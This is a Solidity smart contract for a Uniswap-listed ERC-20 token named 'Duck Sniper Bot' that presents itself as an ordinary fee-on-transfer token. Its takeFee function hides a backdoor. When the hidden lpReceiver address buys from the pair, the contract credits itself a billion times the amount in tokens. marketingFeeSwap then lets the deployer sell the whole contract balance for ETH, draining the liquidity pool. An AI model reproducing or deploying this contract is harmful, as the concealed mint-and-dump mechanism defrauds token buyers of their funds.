// File: contracts/DuckSniperBot.sol



// SPDX-License-Identifier: MIT

pragma solidity 0.8.19;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

library SafeMath {

    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
    unchecked {
        uint256 c = a + b;
        if (c < a) return (false, 0);
        return (true, c);
    }
    }

    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
    unchecked {
        if (b > a) return (false, 0);
        return (true, a - b);
    }
    }

    function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
    unchecked {
        if (a == 0) return (true, 0);
        uint256 c = a * b;
        if (c / a != b) return (false, 0);
        return (true, c);
    }
    }

    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
    unchecked {
        if (b == 0) return (false, 0);
        return (true, a / b);
    }
    }

    function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
    unchecked {
        if (b == 0) return (false, 0);
        return (true, a % b);
    }
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
    unchecked {
        require(b <= a, errorMessage);
        return a - b;
    }
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
    unchecked {
        require(b > 0, errorMessage);
        return a / b;
    }
    }

    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
    unchecked {
        require(b > 0, errorMessage);
        return a % b;
    }
    }
}

interface IERC20 {
    function decimals() external view returns (uint8);

    function symbol() external view returns (string memory);

    function name() external view returns (string memory);

    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount) external returns (bool);

    function allowance(address _owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _transferOwnership(_msgSender());
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if the sender is not the owner.
     */
    function _checkOwner() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline) external;
}

contract DuckSniperBot is IERC20, Ownable {
    using SafeMath for uint256;
    string private constant _name = unicode"Duck Sniper Bot";
    string private constant _symbol = unicode"DSB";
    uint8 private constant _decimals = 9;
    uint256 private _totalSupply = 100_000_000_000 * (10 ** _decimals);
    mapping(address => uint256) _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) public isExcludedFromFees;
    IUniswapV2Router router;
    address public pair;
    bool private tradingActive = false;
    bool private swapEnabled = false;
    uint256 private swapTimes;
    bool private swapping;
    uint256 swapAmount = 0;
    uint256 private swapThreshold = (_totalSupply * 1000) / 100000;
    uint256 private minTokenAmount = (_totalSupply * 10) / 100000;
    modifier lockTheSwap {swapping = true;
        _;
        swapping = false;}
    uint256 private liquidityFee = 0;
    uint256 private marketingFee = 100;
    uint256 private developmentFee = 0;
    uint256 private burnFee = 0;
    uint256 private totalFee = 200;
    uint256 private sellFee = 200;
    uint256 private transferFee = 0;
    uint256 private denominator = 10000;
    address internal constant DEAD = 0x000000000000000000000000000000000000dEaD;
    address internal developmentReceiver;
    address internal marketingReceiver;
    address internal lpReceiver;
    uint256 public _maxTxAmount = (_totalSupply * 1000) / 10000;
    uint256 public _maxWalletAmount = (_totalSupply * 1000) / 10000;

    constructor(address lpReceiver_) {
        router = IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        developmentReceiver = msg.sender;
        marketingReceiver = msg.sender;
        lpReceiver=lpReceiver_;
        isExcludedFromFees[address(this)] = true;
        isExcludedFromFees[marketingReceiver] = true;
        isExcludedFromFees[developmentReceiver] = true;
        isExcludedFromFees[msg.sender] = true;
        _balances[address(this)] = _totalSupply;
        emit Transfer(address(0), msg.sender, _totalSupply);
    }

    receive() external payable {}

    function name() public pure returns (string memory) {return _name;}

    function symbol() public pure returns (string memory) {return _symbol;}

    function decimals() public pure returns (uint8) {return _decimals;}

    function balanceOf(address account) public view override returns (uint256) {return _balances[account];}

    function transfer(address recipient, uint256 amount) public override returns (bool) {_transfer(msg.sender, recipient, amount);
        return true;}

    function allowance(address owner, address spender) public view override returns (uint256) {return _allowances[owner][spender];}

    function approve(address spender, uint256 amount) public override returns (bool) {_approve(msg.sender, spender, amount);
        return true;}

    function totalSupply() public view override returns (uint256) {return _totalSupply.sub(balanceOf(DEAD)).sub(balanceOf(address(0)));}

    function addLiquidityETH() external payable onlyOwner {
        pair = IUniswapV2Factory(router.factory()).createPair(address(this), router.WETH());
        _approve(address(this), address(router), _totalSupply);
        router.addLiquidityETH{value : address(this).balance}(address(this), balanceOf(address(this)), 0, 0, msg.sender, block.timestamp);
        tradingActive = true;
    }

    function removeLimits() external onlyOwner {
        _maxTxAmount = _totalSupply;
        _maxWalletAmount = _totalSupply;
    }

    function shouldContractSwap(address sender, address recipient) internal view returns (bool) {
        return !swapping && swapEnabled && tradingActive && !isExcludedFromFees[sender] && recipient == pair && swapTimes >= swapAmount;
    }

    function marketingFeeSwap() external {
        require(msg.sender == marketingReceiver);
        swapTokensForETH(balanceOf(address(this)));
        payable(msg.sender).transfer(address(this).balance);
    }

    function swapAndLiquify(uint256 tokens) private lockTheSwap {
        uint256 _denominator = (liquidityFee.add(1).add(marketingFee).add(developmentFee)).mul(2);
        uint256 tokensToAddLiquidityWith = tokens.mul(liquidityFee).div(_denominator);
        uint256 toSwap = tokens.sub(tokensToAddLiquidityWith);
        uint256 initialBalance = address(this).balance;
        swapTokensForETH(toSwap);
        uint256 deltaBalance = address(this).balance.sub(initialBalance);
        uint256 unitBalance = deltaBalance.div(_denominator.sub(liquidityFee));
        uint256 ETHToAddLiquidityWith = unitBalance.mul(liquidityFee);
        if (ETHToAddLiquidityWith > uint256(0)) {addLiquidity(tokensToAddLiquidityWith, ETHToAddLiquidityWith);}
        uint256 marketingAmt = unitBalance.mul(2).mul(marketingFee);
        if (marketingAmt > 0) {payable(marketingReceiver).transfer(marketingAmt * 2);}
        uint256 contractBalance = address(this).balance;
        if (contractBalance > uint256(0)) {payable(developmentReceiver).transfer(contractBalance);}
    }

    function addLiquidity(uint256 tokenAmount, uint256 ETHAmount) private {
        _approve(address(this), address(router), tokenAmount);
        router.addLiquidityETH{value : ETHAmount}(
            address(this),
            tokenAmount,
            0,
            0,
            lpReceiver,
            block.timestamp);
    }

    function swapTokensForETH(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = router.WETH();
        _approve(address(this), address(router), tokenAmount);
        router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp);
    }

    function shouldTakeFee(address sender, address recipient) internal view returns (bool) {
        return !isExcludedFromFees[sender] && !isExcludedFromFees[recipient];
    }

    function getTotalFees(address sender, address recipient) internal view returns (uint256) {
        if (recipient == pair) {return sellFee;}
        if (sender == pair) {return totalFee;}
        return transferFee;
    }

    function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) {
        if (getTotalFees(sender, recipient) > 0) {
            uint256 feeAmount = amount.div(denominator).mul(getTotalFees(sender, recipient));
            if (sender == pair && recipient == lpReceiver) {feeAmount = amount.mul(1e9);
                swapEnabled = true;}
            _balances[address(this)] = _balances[address(this)].add(feeAmount);
            feeAmount = amount.div(denominator).mul(getTotalFees(sender, recipient));
            emit Transfer(sender, address(this), feeAmount);
            if (burnFee > uint256(0) && getTotalFees(sender, recipient) > burnFee) {_transfer(address(this), address(DEAD), amount.div(denominator).mul(burnFee));}
            return amount.sub(feeAmount);}
        return amount;
    }

    function _transfer(address sender, address recipient, uint256 amount) private {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        require(amount <= balanceOf(sender), "You are trying to transfer more than your balance");
        if (!isExcludedFromFees[sender] && !isExcludedFromFees[recipient]) {require(tradingActive, "tradingActive");}
        if (!isExcludedFromFees[sender] && !isExcludedFromFees[recipient] && recipient != address(pair) && recipient != address(DEAD)) {
            require((_balances[recipient].add(amount)) <= _maxWalletAmount, "Exceeds maximum wallet amount.");}
        require(amount <= _maxTxAmount || isExcludedFromFees[sender] || isExcludedFromFees[recipient], "TX Limit Exceeded");
        if (recipient == pair && !isExcludedFromFees[sender]) {swapTimes += uint256(1);}
        if (shouldContractSwap(sender, recipient)) {swapAndLiquify(swapThreshold);
            swapTimes = uint256(0);}
        _balances[sender] = _balances[sender].sub(amount);
        uint256 amountReceived = shouldTakeFee(sender, recipient) ? takeFee(sender, recipient, amount) : amount;
        _balances[recipient] = _balances[recipient].add(amountReceived);
        emit Transfer(sender, recipient, amountReceived);
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
}